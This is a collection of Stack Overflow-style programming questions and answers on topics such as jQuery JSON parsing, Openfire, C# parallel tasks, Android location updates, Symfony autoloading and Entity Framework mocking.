5866775	0	 <p>One simple way to solve this is to use some kind of a scheduled (cron...) job to delete any orphaned parents. Rather than doing it when deleting children.</p>
22548875	0	 <p>I assume you have implemented a Jingle client. In order to make this work you should make sure that:</p> <ul> <li>Openfire (acting as a Media Proxy as well) is running on a computer with a public IP, so that each client behind any NAT can "talk" to it</li> <li>Your client media engine does support <a href="https://tools.ietf.org/html/rfc4961" rel="nofollow">symmetric RTP</a></li> </ul> <p>To enable Media Proxy in Openfire is simple as going to Openfire server web console (usually at openfirehost:9090/index.jsp), select tab "Media Services", set the option "Enabled" at "Media Proxy Settings" and then click on "Save Settings". </p> <p>PS: My Openfire version is 3.9.1</p>
35082335	0	Looping through dynamic JSON data using javascript <p>I am trying to display JSON data but the key value is dynamic it varies from one POST request to another my data hierarchy is as shown in diagram:</p> <p><a href="https://i.stack.imgur.com/tPCQa.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/tPCQa.png" alt=""></a></p> <p>This is the part of the code I am running,Can anyone suggest me how to display JSON data where key showed in redbox gonna change for every POST request</p> <pre><code>$.ajax({ type: "POST", url: "/", dataType:'json', data : { 'perfid': valueOne, 'hostname': $("#host").val(), 'iteration': valueThree}, success: function(data) { $('#img1').hide(); var k = data[$("#host").val()].iscsi_lif.result.sectoutput.sect.length; for(var i = 0; i &lt; k; i++) { var obj = k[i]; console.log(obj); var iscsi = parseInt(data[$("#host").val()].iscsi_lif.result.sectoutput.sect.obj.avg_latency); console.log(iscsi); } </code></pre> <p>While running above snippet I am getting following error message :</p> <p>data[$(....).val(...)].iscsi_lif.result.sectoutput.sect is undefined</p>
26743684	0	 <p>Did you want just the current domain, or the domain with parent domains included?</p> <p>Current Domain Name:</p> <pre class="lang-powershell prettyprint-override"><code>Import-Module ActiveDirectory $name = Get-ADDomain | Select -ExpandProperty NetBIOSName Get-ADObject -Filter 'objectclass -eq "user"' -Properties CN,DisplayName,Discription | select | Export-Csv -NoTypeInformation "c:\" + $name + ".csv" </code></pre>
15841045	0	 <p>You want to search and replace with the empty string using this regex:</p> <pre><code>\^([^^]*?)(?=[.,:;?"' ]) </code></pre> <p>You can see which portions you will be replacing, as well as a detailed visual of what's going on with the regex, on <a href="http://www.debuggex.com/?re=%5C%5E%28%5B%5E%5E%5D%2a?%29%28?=%5B.,%3a;?%22%27%20%5D%29&amp;str=I%27m%20baffled%5Ebemused%20by%20his%20decision.%0D%0A%22Why%20are%20you%20so%20mean%5Enasty?%22%20she%20wailed%5Emoaned." rel="nofollow">www.debuggex.com</a>.</p>
39687070	0	id3js in giving RangeError: Offset is outside the bounds of the DataView <p>I'm trying to move bulk mp3 files from one directory to other directory and renaming them on the basis of their name/title/album name. I'm using id3js for finding its id3 values:</p> <p>My code snippet as follows:</p> <pre><code>let files = []; let walker = walk.walk(arg['search'], { followLinks: false }); walker.on('file', (root, stat, next)=&gt;{ if(!strReg.test(""+root)) { let typ = stat.name.split("."); if (stat.name.substring(stat.name.lastIndexOf(".")) == '.mp3') { files.push({nm:stat.name,pth:root + ""+path.sep + stat.name}); } } next(); }); walker.on('end', function() { console.log("files are: ",files); files.forEach((o, i)=&gt; { console.log((i/files.length*100),"% done and Working on :",o.nm); try { id3({file: o.pth, type: id3.OPEN_LOCAL}, function (err, tags) { let itsNm; if (o.nm.indexOf(".com") == -1 &amp;&amp; o.nm.indexOf(".in") == -1) { itsNm = o.nm.substring(0, o.nm.lastIndexOf(".")).replace(/[^A-Za-z ]+/gi, '').trim(); } else if (tags.title &amp;&amp; tags.title.indexOf(".com") == -1 &amp;&amp; tags.title.indexOf(".in") == -1) { itsNm = tags.title.substring(0, tags.title.lastIndexOf(".")).replace(/[^A-Za-z ]+/gi, '').trim(); } else if (tags.album &amp;&amp; tags.album.indexOf(".com") == -1 &amp;&amp; tags.album.indexOf(".in") == -1) { itsNm = tags.album .substring(0, tags.album .lastIndexOf(".")).replace(/[^A-Za-z ]+/gi, '').trim(); } else { itsNm = o.nm.substring(0, o.nm.lastIndexOf(".")).replace(/[^A-Za-z ]+/gi, '').trim(); } fs.createReadStream(o.pth) .pipe(fs.createWriteStream(path.join(arg["out"], itsNm + o.nm.substring(o.nm.lastIndexOf("."))))); }); } catch (e){ console.log(e); } }); }) </code></pre> <p>But it gives following error:</p> <pre><code>frameBit = dv.getUint8(position + i); ^ RangeError: Offset is outside the bounds of the DataView at DataView.getUint8 (native) at D:\projBulderMac\node_modules\id3js\dist\id3.js:928:22 at D:\projBulderMac\node_modules\id3js\dist\id3.js:118:4 at FSReqWrap.wrapper [as oncomplete] (fs.js:576:17) </code></pre>
4168408	0	Can I produce native executables with OCamlBuild which can run in computers which don't have OCaml libraries? <p>I have a large OCaml project which I am compiling with ocamlbuild. Everything works fine, I have a great executable which does everything as I want. The problem is that when I take that native executable "my_prog.native" and run it somewhere else (different machine with same operating system, etc.), the new machine complaints that it can't find camomile (which is used in a Batteries library I'm using). I thought the executable we got from ocamlbuild was standalone and didn't require OCaml or Camomile to be present in the machine we ran it, but that doesn't seem to be the case.</p> <p>Any ideas on how to produce really standalone executables?</p>
40813220	0	PHP open source multi user login <p>I've had, I believe, a great business idea so I’ve decided to try develop a minimum viable product myself.</p> <p>A long, long time ago I taught myself asp classic and built a couple of apps so I have some development experience. I haven't done much since (apart from a few basic php sites for friends) and I'm not a natural coder though and find it quite hard going.</p> <p>Bearing this in mind and considering the importance of proper security I'm trying to give myself a head start so have been looking for an open source (or paid if it’s not too much) PHP single-db multi-tenant framework or site template.</p> <p>The idea I am working on is aimed towards very small businesses and in a nutshell:</p> <p>User A should be able to login and add and retrieve data that only he/she can see. User B should be able to login and add and retrieve data that only he/she can see.</p> <p>It’s pretty standard stuff but as far as I can tell, everything I’ve found so far is aimed towards managing multiple users across a single secure area (e.g. User Frosting) rather than multiple users across their own secure areas </p> <p>Does such a template/framework exist?</p> <p>Alternatively, can somebody recommend a PHP framework that’s good for beginners with a decent supply of starter templates/tutorials? Innomatic keeps cropping up in my searches but I fear that it may be more advanced and more “full-featured” than necessary.</p> <p>Any advice, opinions or pointers towards relevant material would be massively appreciated.</p> <p>Thanks</p> <p>Stu</p>
39281786	0	jQuery change css background when y-axis scroll reaches a certain depth <p>After scrolling down 600px, I would like a css background-image to appear from no image to a decided background-image (image 1); however, above 600px, I would like to change to another image (image 2). I want this action to repeat itself without having to refresh the page, as well.</p> <p>Here is my code:</p> <p>jQuery:</p> <pre><code>$(window).scroll(function() { var y_scroll_pos = window.pageYOffset; var scroll_pos_test = 800; // set to whatever you want it to be if(y_scroll_pos &gt; scroll_pos_test) { $("square").css("background-image", "url(images/comp_rel/square.png)"); } else { $("square").css("background-image","url(images/comp_rel/Box.gif)"); } }); </code></pre> <p>I know I'm missing something simple, I just can't figure it out. Any thoughts? Thanks.</p>
40159956	0	Azure Service Bus: Which message type? <p>I'm going to write an app under Xamarin for iPhone/Android/WindowsPhone that gets continuus data from a server and also sends back continuus data (~ every 10 seconds). I'm going to use Microsoft Azure. I've found that the service bus could help me. What type of messages (relay / brokered) should I use?</p> <p>Imagine a service where you see the actual traffic situation. Every client sends it's anonymous traffic data to the server and it sends the state back to all receivers.</p> <p>I've viewed <a href="https://azure.microsoft.com/en-us/documentation/articles/service-bus-relay-tutorial/" rel="nofollow">this tutorial too</a>, ist says</p> <blockquote> <p>The main difference between a WCF and a Service Bus service is that the > endpoint is exposed in the cloud instead of locally on your computer.</p> </blockquote> <p>What does this mean? I need an endpoint locally on a smartphone. Is this usable?</p> <p>I've read <a href="https://azure.microsoft.com/en-us/documentation/articles/service-bus-messaging-overview/" rel="nofollow">this article</a>. I understand that for relayed messaging, both sender and receiver have to be online and it's a centralized (star-topology) communcation model. That would conver my needs. What confuses me is the word "relay". Does it mean, the messages are repeated somehow?</p> <p>The brokered messages don't fit what I want becaus in my case it's irrelevant for the receiver if it is offline. The messages don't have to be stored.</p>
3589043	0	 <p>There are a few algorithms outlined on <a href="http://en.wikipedia.org/wiki/Algorithmics_of_sudoku" rel="nofollow noreferrer">Algorithmics of sudoku</a>. What you're describing sounds like a backtracking approach.</p>
17686717	0	 <p>You can use <code>Control.Region</code> for this purpose</p> <pre><code>GraphicsPath path = new GraphicsPath(); path.AddEllipse(control.ClientRectangle); control.Region = new Region(path); </code></pre> <p>try this, you can create any shape using <code>GraphicsPath</code> and set it to <code>Region</code> for instance I created ellipse.</p> <p><strong>Edit</strong></p> <p>If you just want to set BackColor = Color.Transparent. for some reason some controls doesn't allow this. in such cases you can do the following </p> <pre><code>public class CustomControl1 : Control { public CustomControl1() { this.SetStyle(ControlStyles.SupportsTransparentBackColor, true); } } </code></pre> <p>Create a descendant of your control and set <code>this.SetStyle(ControlStyles.SupportsTransparentBackColor, true);</code> that should do the trick</p>
11043170	0	 <p>I would also recommend sugarCRM because of the larger community and availability of third party plug ins, having worked with both i can say that sugarCRM's studio gives you a bit more flexibility. There are also many plug ins; I would recomend the ModernAqua theme to improve look and feel.</p> <p>I'll give you a warning however, sugarCRM is not always nice to work with. Its code is poorly documented and maintainance is a big hastle. upgrading with custom code is still error prone through version 6.x despite what they say and changes will be overwritten by the module builder.</p> <p>So in short, go with Sugar but think carefully before customizing it too much because it can be a pain to maintain.</p>
18123423	0	 <p>It can be solved rather simply by assigning the border properties only to the <code>table tag</code> instead of assigning them to the <code>th tag</code> and <code>td tag</code>.</p> <pre><code>table { background: #ccc; border-top-left-radius: 20px; border-top-right-radius: 20px; border-top: 1px solid red; } th { width: 70px; } th, td { text-align: left; } </code></pre> <p><a href="http://jsfiddle.net/Tomer123/z5832/9/" rel="nofollow">http://jsfiddle.net/Tomer123/z5832/9/</a></p>
1548449	0	 <p>Can you break the app into 2 separate web applications that run from the same root directory? Just put the complied C# dll in the bin with the compiled VB.net dll and place all of the aspx pages wherever they would need to be for your site structure.</p> <p>I haven't tried this myself, but it should work. You'll have to create a separate project and reference any data layers, etc. Just move the C# code to the new app and see how that goes. Not the best solution, but it beats converting from one language to another.</p>
13452552	0	 <p>You can get help from following link </p> <p><a href="http://msdn.microsoft.com/en-us/library/610xe886%28v=vs.80%29.aspx?cs-save-lang=1&amp;cs-lang=vb#code-snippet-1" rel="nofollow">http://msdn.microsoft.com/en-us/library/610xe886%28v=vs.80%29.aspx?cs-save-lang=1&amp;cs-lang=vb#code-snippet-1</a></p>
22035915	0	How to specify the number of parallel tasks executed in Parallel.ForEach? <p>I have ~500 tasks, each of them takes ~5 seconds where most of the time is wasted on waiting for the remote resource to reply. I would like to define the number of threads that should be spawned myself (after some testing) and run the tasks on those threads. When one task finishes I would like to spawn another task on the thread that became available.</p> <p>I found <code>System.Threading.Tasks</code> the easiest to achieve what I want, but I think it is impossible to specify the number of tasks that should be executed in parallel. For my machine it's always around 8 (quad core cpu). Is it possible to somehow tell how many tasks should be executed in parallel? If not what would be the easiest way to achieve what I want? (I tried with threads, but the code is much more complex). I tried increasing <code>MaxDegreeOfParallelism</code> parameter, but it only limits the maximum number, so no luck here...</p> <p>This is the code that I have currently:</p> <pre><code>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace ConsoleApplication1 { class Program { private static List&lt;string&gt; _list = new List&lt;string&gt;(); private static int _toProcess = 0; static void Main(string[] args) { for (int i = 0; i &lt; 1000; ++i) { _list.Add("parameter" + i); } var w = new Worker(); var w2 = new StringAnalyzer(); Parallel.ForEach(_list, new ParallelOptions() { MaxDegreeOfParallelism = 32 }, item =&gt; { ++_toProcess; string data = w.DoWork(item); w2.AnalyzeProcessedString(data); }); Console.WriteLine("Finished"); Console.ReadKey(); } static void Done(Task&lt;string&gt; t) { Console.WriteLine(t.Result); --_toProcess; } } class Worker { public string DoWork(string par) { // It's a long running but not CPU heavy task (downloading stuff from the internet) System.Threading.Thread.Sleep(5000); return par + " processed"; } } class StringAnalyzer { public void AnalyzeProcessedString(string data) { // Rather short, not CPU heavy System.Threading.Thread.Sleep(1000); Console.WriteLine(data + " and analyzed"); } } } </code></pre>
14242298	0	Is there something wrong with my OnLocationChanged? <p>My location Logger Service class does not provide me with updated informations about my location. Is there something wrong with me OnLocationChanged?</p> <pre><code>public class LocationLoggerService extends Service implements LocationListener { Location location; // location String towers; // Declaring a Location Manager public LocationManager locationManager; @Override public IBinder onBind(Intent intent) { return null; } @Override public void onCreate() { ourLocation(); Criteria crit = new Criteria(); towers = locationManager.getBestProvider(crit, false); location = locationManager.getLastKnownLocation(towers); // Just af test here: String hej1 = Double.toString(location.getLatitude()); String hej2 = Double.toString(location.getLongitude()); Toast.makeText(this, "Fra Oncreate: /nLat: " + hej1 + "Long: " + hej2, Toast.LENGTH_LONG).show(); } public void ourLocation() { // Find my current location locationManager = (LocationManager) this .getSystemService(Context.LOCATION_SERVICE); locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 2000, 0, this); } </code></pre> <p>onLocationChanged method does not provide me with new informations. I tried out with some test(toast), but its like it does not read this method.</p> <pre><code>@Override public void onLocationChanged(Location loc) { if (loc != null) { // Testing the position String hej3 = Double.toString(loc.getLatitude()); String hej4 = Double.toString(loc.getLongitude()); Toast.makeText(this, "loc: " + "Lat: " + hej3 + "Long: " + hej4, Toast.LENGTH_LONG).show(); } } @Override public void onProviderEnabled(String s) { } @Override public void onProviderDisabled(String s) { } @Override public void onStatusChanged(String s, int i, Bundle b) { } @Override public void onDestroy() { // TODO Auto-generated method stub super.onDestroy(); Toast.makeText(this, "MyAlarmService.onDestroy()", Toast.LENGTH_LONG) .show(); } @Override public int onStartCommand(Intent intent, int flags, int startId) { // this service will run until we stop it return START_STICKY; } } </code></pre> <p>My manifest</p> <pre><code>&lt;uses-permission android:name="android.permission.INTERNET" /&gt; &lt;uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /&gt; &lt;uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /&gt; &lt;uses-permission android:name="android.permission.VIBRATE" /&gt; &lt;uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /&gt; &lt;uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION" /&gt; &lt;uses-permission android:name="android.permission.ACCESS_LOCATION" /&gt; &lt;uses-permission android:name="android.permission.ACCESS_GPS" /&gt; &lt;service android:name="LocationLoggerService" android:enabled="true" android:exported="false" android:label="LocationLoggerService" /&gt; &lt;/application&gt; </code></pre>
35477722	0	 <p>I had the same problem and my issue was that I copied my autofac configuration from a MVC project and was registering my dependencies with <code>InstancePerRequest</code>. When I changed that to <code>InstancePerDependency</code> instead it solved the problem and <code>GetRequestLifetimeScope</code> was working.</p> <pre><code>builder.RegisterType&lt;X&gt;().As&lt;IX&gt;().InstancePerDependency(); </code></pre>
28509386	0	C# converting int to hex <p>This is a small snippet of the code I have written in Visual Studio. I need to convert the int <code>add</code> into an hex value (later into a string) as I am accessing the memory of a uC. But when I view the variable during debugging it displays it as a string "add16". What could I be doing wrong?</p> <pre><code>for (int add = 0; add &lt;= 0xfffff; ) { for (int X = 0; X &lt;= 15; X++) { string address = add.ToString("add16"); addr = Convert.ToString(address); port.WriteLine(String.Format("WRBK:{0}:{1}", addr, parts[X])); add++; } } </code></pre>
21229439	0	Loop through nested object in jquery <p>Iam newbie to jquery. I need to parse an JSON. I tried with $each statement but stuck with [object,object]looping. here is the code which i used for parsing the JSON. Help me out of this.</p> <pre><code>var myjson='[{"isTruncated": "false","nextMarker": "null","marker": "null","prefix": "Mymedia/mysys/","contents": [{"deviceInfo": "null","lastModified": "Thu Dec 26 16:36:42 IST 2013","etag": "d41d8cd98f00b204e9800998ecf8427e","key":"Mymedia/mysys/audio_$folder$","size": "0"},{"deviceInfo": null,"lastModified": "Thu Dec 26 16:36:11 IST 2013","etag": "d41d8cd98f00b204e9800998ecf8427e","key": "Mymedia/mysys/doc_$folder$","size": "0"},{ "deviceInfo": null,"lastModified": "Thu Dec 26 16:36:20 IST 2013", "etag": "d41d8cd98f00b204e9800998ecf8427e","key": "Mymedia/mysys/imge_$folder$","size": "0"},{"deviceInfo": null,"lastModified": "Thu Dec 26 16:36:56 IST 2013","etag": "d41d8cd98f00b204e9800998ecf8427e","key":"Mymedia/mysys/others_$folder$","size": "0"},{"deviceInfo": null,"lastModified": "Thu Dec 26 16:36:32 IST 2013","etag": "d41d8cd98f00b204e9800998ecf8427e","key": "Mymedia/mysys/video_$folder$","size": "0"}],"name": "name", "statusCode": "200","statusMessage": "Success","error": null}]'; var dataobj = $.parseJSON(JSON.stringify(myjson)); $.each(dataobj, function (key, val) { alert(key + val); if (key == "contents") { $.each(val, function (mykey, values) { alert(mykey + values) }); $.each(values, function (key, pairs) {alert(pairs) }); } }); </code></pre> <p>Iam unable to loop through JSON object(contents) and to get the items inside it. I need to get key inside contents object.Point me where i went wrong.</p>
37463911	0	Does App store reject icons in the app for being shiny or glossy <p>I am designing icons to include in my app and was designing them to be glossy and shiny. Then found out that app store accepts flat icons without rounded corners by doing research across internet as I did not find much information in <code>iOS Human Interface Guidelines</code> about icons. I would appreciate if anyone can direct me or provide me guidelines about designing <code>icons in app</code> as well as <code>app icon</code> for app store. I am completely new to this and like to know whether there are any limitations on <code>background images</code> and <code>images</code> used in the app as well.</p>
17250003	0	Django, filter records from model method? <p>I'm trying to filter records using a model method but am unsure how to implement it in the view.</p> <p>Should it be done in this way, or completely in the view in some other manor?</p> <p>Here's my model below:</p> <pre><code>class Message(models.Model): msg_id = models.IntegerField(unique=True) user = models.ForeignKey(User) message = models.CharField(max_length=300) added = models.DateTimeField('added') def about_cats(self): matches = ['cat', 'kitty', 'meow'] return any(s in self.message for s in matches) def __unicode__(self): return self.message </code></pre>
34976193	0	 <p>Removing the layout is not a solution.</p> <p>As you are only removing the layout defined by you. One of the indirect Superclass of MainActivity defines a default layout that get inflated when you call <code>super.onCreate(...)</code>. Basically it remove child views defined by you in layout.</p> <p>To avoid the activity from loading you need to remove its declaration the <code>AndroidManifest.xml</code>. The activity will not loaded than.</p> <pre><code>&lt;activity android:name=".MainActivity" android:label="@string/app_name" &gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.MAIN" /&gt; &lt;category android:name="android.intent.category.LAUNCHER" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; </code></pre> <p>But to successfully run the app there should be at least one main activity with the <code>intent-filter</code> defined by above code otherwise Andorid system can not start your application.</p> <p>or</p> <p>You can create another activity in your application and change the name of <code>MainActivity</code> in <code>AndroidManifest.xml</code></p> <p>Hope it helps.</p>
2090043	0	 <p>I think what you want to customize is <code>compilation-parse-errors-filename-function</code>, which is a function that takes a filename, and returns a modified version of the filename to be displayed. This is a buffer local variable, so you should set it in each buffer that will be displaying python errors (there is probably an appropriate hook to use, I do not have python mode installed so I cannot look it up). You would use <code>propertize</code> to return a version of the input filename that acts as a hyperlink to load the actual file. propertize is well documented in the elisp manual.</p> <p>If compilation-parse-errors-filename-function is not getting called, then you want to add a list to <code>compilation-error-regexp-alist-alist</code> (that does say alist-alist, that is not a typo) which is a list of mode names followed by regular expressions to match errors, and numerical indexes of the matching line number, filename etc. info in the error regexp match.</p>
40431541	0	Get child element distance from parent top <p><a href="https://i.stack.imgur.com/vlROs.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/vlROs.png" alt="Child distance from top parent"></a></p> <p>Let's say I have an <code>&lt;li&gt;</code> element inside a scrollable div and the scroll was set to show that element in the viewport. </p> <p>I need to get the distance between that element and its scrollable parent, as shown in the picture above, but both <code>element.getBoundingClientRect().top</code> and <code>element.offsetTop</code> give me the wrong values. Can that be done?</p> <p>I made a pen, to make things a little bit easier:</p> <p><a href="http://codepen.io/Darksoulsong/pen/LbYMex" rel="nofollow noreferrer">http://codepen.io/Darksoulsong/pen/LbYMex</a></p> <p>A piece of my code:</p> <pre><code>document.addEventListener("DOMContentLoaded", function(event) { var selectedEl = document.getElementById('consequatur-51'); var selectedElRect = selectedEl.getBoundingClientRect(); var sidebar = document.getElementById('sidebar'); sidebar.scrollTop = selectedEl.offsetTop - 60; document.getElementById('offsetTop').innerText = selectedEl.offsetTop; document.getElementById('rectTop').innerText = selectedElRect.top; }); </code></pre>
14422089	0	Max of set in Isabelle <p>How can I find the maximum element in a set of numbers (nat) in Isabelle. The max function doesn't work, as it is only defined to take the maximum of two elements. I have an idea of how I could implement it using a reduce like function, but I don't know how to pick one random element from a set.</p>
40241444	0	 <p>As to why, look at the case of <code>36 + 'abc'</code> Should this convert <code>36</code> to a string and concatenate the strings, or should it convert <code>abc</code> to a numeric value and add the numbers? There's no right answer, and so Python doesn't guess unless it has specific rules about those two types.</p>
36446788	0	Downloading webpages programmatically <p>I need to download certain web pages from a web site for my research. I tried to download them using Darcy Wripper, WinHTTrack and C# WebClient method. It happens so that some of the pages get downloaded while (majority) others throw error. For example I have copied this error from Darcy Wripper. </p> <blockquote> <p>27 <a href="http://www.dawn.com/news/515958/animadversion-only-the-globes-looked-golden" rel="nofollow">http://www.dawn.com/news/515958/animadversion-only-the-globes-looked-golden</a> Error N/A N/A 500 0 403 - Request Aborted 11 <a href="http://www.dawn.com/news/813115/flavours-of-culture" rel="nofollow">http://www.dawn.com/news/813115/flavours-of-culture</a> Error N/A N/A 500 0 403</p> </blockquote> <p>The same webpage opens in Firefox (sometimes there is an error that we are in maintenance, but next try opens the page). My question: Is there a method in C# to download such problematic pages? I also tried to look for a Firefox Wrapper for .Net with no luck. I was under the impression that maybe a I can open these pages in Firefox using an array of links one by one and save them from a command line program. Any help or insight in this regard will be highly appreciated. Regards</p>
16020660	0	 <p>If you're using <a href="http://www.eclipse.org/collections/" rel="nofollow">Eclipse Collections</a> (formerly GS Collections), you can use the <code>partition</code> method on all <code>RichIterables</code>.</p> <pre><code>MutableList&lt;Integer&gt; integers = FastList.newListWith(-3, -2, -1, 0, 1, 2, 3); PartitionMutableList&lt;Integer&gt; result = integers.partition(IntegerPredicates.isEven()); Assert.assertEquals(FastList.newListWith(-2, 0, 2), result.getSelected()); Assert.assertEquals(FastList.newListWith(-3, -1, 1, 3), result.getRejected()); </code></pre> <p>The reason for using a custom type, <code>PartitionMutableList</code>, instead of <code>Pair</code> is to allow covariant return types for getSelected() and getRejected(). For example, partitioning a <code>MutableCollection</code> gives two collections instead of lists.</p> <pre><code>MutableCollection&lt;Integer&gt; integers = ...; PartitionMutableCollection&lt;Integer&gt; result = integers.partition(IntegerPredicates.isEven()); MutableCollection&lt;Integer&gt; selected = result.getSelected(); </code></pre> <p>If your collection isn't a <code>RichIterable</code>, you can still use the static utility in Eclipse Collections.</p> <pre><code>PartitionIterable&lt;Integer&gt; partitionIterable = Iterate.partition(integers, IntegerPredicates.isEven()); PartitionMutableList&lt;Integer&gt; partitionList = ListIterate.partition(integers, IntegerPredicates.isEven()); </code></pre> <p><strong>Note:</strong> I am a committer for Eclipse Collections.</p>
1857477	0	 <p>The 260 character limitation is not a limitation of the file system, but of the Win32 API. Win32 defines MAX_PATH as 260 which is what the API is using to check the length of the path passed into functions like FileCreate, FileOpen, etc. (which are used by .NET in the BCL).</p> <p><b>However, you can bypass the Win32 rules and create paths up to 32K characters.</b> Basically you need to use the "\\?\C:\MyReallyLongPath\File.txt" syntax which you may not have seen before. Last I checked, the File and FileInfo classes in .NET prevented you from using this type of path, but you can definitely do it from C/C++. Here's a link for more info.</p> <p><a href="http://msdn.microsoft.com/en-us/library/aa365247(VS.85).aspx" rel="nofollow noreferrer">http://msdn.microsoft.com/en-us/library/aa365247(VS.85).aspx</a></p>
7843134	0	 <p>Use this:</p> <pre><code>if (get_magic_quotes_gpc()) { $skill = stripslashes($row['skill']); $skill = mysql_real_escape_string($skill); } else { $skill = mysql_real_escape_string($row['skill']); } $sql = 'select * from table where column = "' . $skill . '"'; </code></pre> <p>EDIT: Sorry, I've just realised that <code>$row['skill']</code> probably hasn't come from GET/POST/COOKIE and so <code>get_magic_quotes_gpc()</code> is probably irrelevant. Just go straight for the <code>stripslashes()</code>:</p> <pre><code> $skill = stripslashes($row['skill']); $skill = mysql_real_escape_string($skill); $skill = mysql_real_escape_string($row['skill']); </code></pre>
21278384	0	 <p>Have a look at <a href="http://phantomjs.org" rel="nofollow">PhantomJS</a> - a headless WebKit browser with full javascript support which you can call and interact with via PHP.</p>
36548567	0	symfony2: class loading/namespace handling - difference between prod/dev environments? <p>what's exactly the difference in class autoloading and namespace handling between symfony2's app_dev.php and app.php or dev/prod environment (symfony 2.8.4).</p> <p>When I run it in dev environment through app_dev.php all is fine, when I run it in prod through app.php I get an Internal Server error 500 (nothing written in symfony's prod.log). Looking into apache's error.log I see:</p> <pre><code>PHP Fatal error: Class 'SSMCRM\\Common\\ProductionTemplateMapper' not found in /var/[...] </code></pre> <p>And yes, I cleared the prod cache...</p> <p>app.php: <pre><code>use Symfony\Component\HttpFoundation\Request; /** * @var Composer\Autoload\ClassLoader */ $loader = require __DIR__.'/../app/autoload.php'; include_once __DIR__.'/../app/bootstrap.php.cache'; // Enable APC for autoloading to improve performance. // You should change the ApcClassLoader first argument to a unique prefix // in order to prevent cache key conflicts with other applications // also using APC. /* $apcLoader = new Symfony\Component\ClassLoader\ApcClassLoader(sha1(__FILE__), $loader); $loader-&gt;unregister(); $apcLoader-&gt;register(true); */ //require_once __DIR__.'/../app/AppCache.php'; $kernel = new AppKernel('prod', false); $kernel-&gt;loadClassCache(); //$kernel = new AppCache($kernel); // When using the HttpCache, you need to call the method in your front controller instead of relying on the configuration parameter //Request::enableHttpMethodParameterOverride(); $request = Request::createFromGlobals(); $response = $kernel-&gt;handle($request); $response-&gt;send(); $kernel-&gt;terminate($request, $response); </code></pre> <p>app_dev.php:</p> <pre><code>&lt;?php use Symfony\Component\HttpFoundation\Request; use Symfony\Component\Debug\Debug; // If you don't want to setup permissions the proper way, just uncomment the following PHP line // read http://symfony.com/doc/current/book/installation.html#checking-symfony-application-configuration-and-setup // for more information //umask(0000); // This check prevents access to debug front controllers that are deployed by accident to production servers. // Feel free to remove this, extend it, or make something more sophisticated. if (isset($_SERVER['HTTP_CLIENT_IP']) || isset($_SERVER['HTTP_X_FORWARDED_FOR']) || !(in_array(@$_SERVER['REMOTE_ADDR'], array('127.0.0.1', 'fe80::1', '::1', '192.168.33.1', //for vagrant box )) || php_sapi_name() === 'cli-server') ) { header('HTTP/1.0 403 Forbidden'); exit('You are not allowed to access this file. Check '.basename(__FILE__).' for more information.'); } /** * @var Composer\Autoload\ClassLoader $loader */ $loader = require __DIR__.'/../app/autoload.php'; Debug::enable(); $kernel = new AppKernel('dev', true); $kernel-&gt;loadClassCache(); $request = Request::createFromGlobals(); $response = $kernel-&gt;handle($request); $response-&gt;send(); $kernel-&gt;terminate($request, $response); </code></pre> <p>in the autoload.php I added our legacy classes to the loader:</p> <pre><code>$loader-&gt;add('SSMCRM', __DIR__.'/../web/legacy/classes'); </code></pre>
37869574	0	How to mock up Blog and Post when one Blog contains many Posts <p>Say we have</p> <pre><code>public class BloggingContext : DbContext { public BloggingContext(DbContextOptions&lt;BloggingContext&gt; options) : base(options) { } public DbSet&lt;Blog&gt; Blogs { get; set; } public DbSet&lt;Post&gt; Posts { get; set; } } public class Blog { public int BlogId { get; set; } public string Url { get; set; } public List&lt;Post&gt; Posts { get; set; } } public class Post { public int PostId { get; set; } public string Title { get; set; } public string Content { get; set; } public int BlogId { get; set; } public Blog Blog { get; set; } } </code></pre> <p>I want to seed data for <code>Blog</code> and <code>Post</code> in unit test. However Blog contains Posts and Post contains Blog.</p> <p><strong>[EDIT]</strong></p> <p>I want to pass the <code>DbContext</code> to the controller. Therefore I have to mock up <code>DbContext</code> and <code>DbSet</code>. For the <code>DbSet</code>, I need to seed some dummy data.</p> <p>For example:<br> In asp.net mvc controller</p> <pre><code>public IActionResult GetBlog(int id) { Blog blog = _context.Blog.FirstOrDefault(x =&gt; x.BlogId == id); return View(Blog); } </code></pre> <p>In the test </p> <pre><code>[Fact] public void Get_blog_1_returns_google() { // Act var result = _controller.GetBlog(1) as ViewResult; // Assert Assert.IsType(typeof(Blog), result.ViewData.Model); Blog model = (Blog)result.ViewData.Model; Assert.Equal("google", model.Url); } </code></pre> <p>But I have to seed data for the test first.</p> <pre><code>public class BlogControllerTest { private BloggingContext _context; private BlogController _controller; public BlogControllerTest() { // Seed data _context.Blog.Add(new Blog() { BlogId = 1, Url = "google", // how about Post }); //..other code... } //...other code removed for brevity } </code></pre> <p>How to mock up them?</p>
6339689	0	 <p>may be <a href="http://stackoverflow.com/questions/1404651/iphone-how-to-check-the-airplane-mode">this</a></p> <p>helps</p>
2950848	0	 <p>You need to use a filter file, a filter file can say what file patterns to include, exclude among other things... There's documentation here <a href="http://findbugs.sourceforge.net/manual/filter.html" rel="nofollow noreferrer">http://findbugs.sourceforge.net/manual/filter.html</a></p>
7424804	0	Is there a way to use a keyword as a function in Common Lisp, as one does in Clojure? <p>In Clojure one can write</p> <pre><code>(:foo {:foo 3 :bar 5}) </code></pre> <p>which evaluates to 3. Is there any way to extend Common Lisp so that a keyword will act as a function that looks itself up?</p>
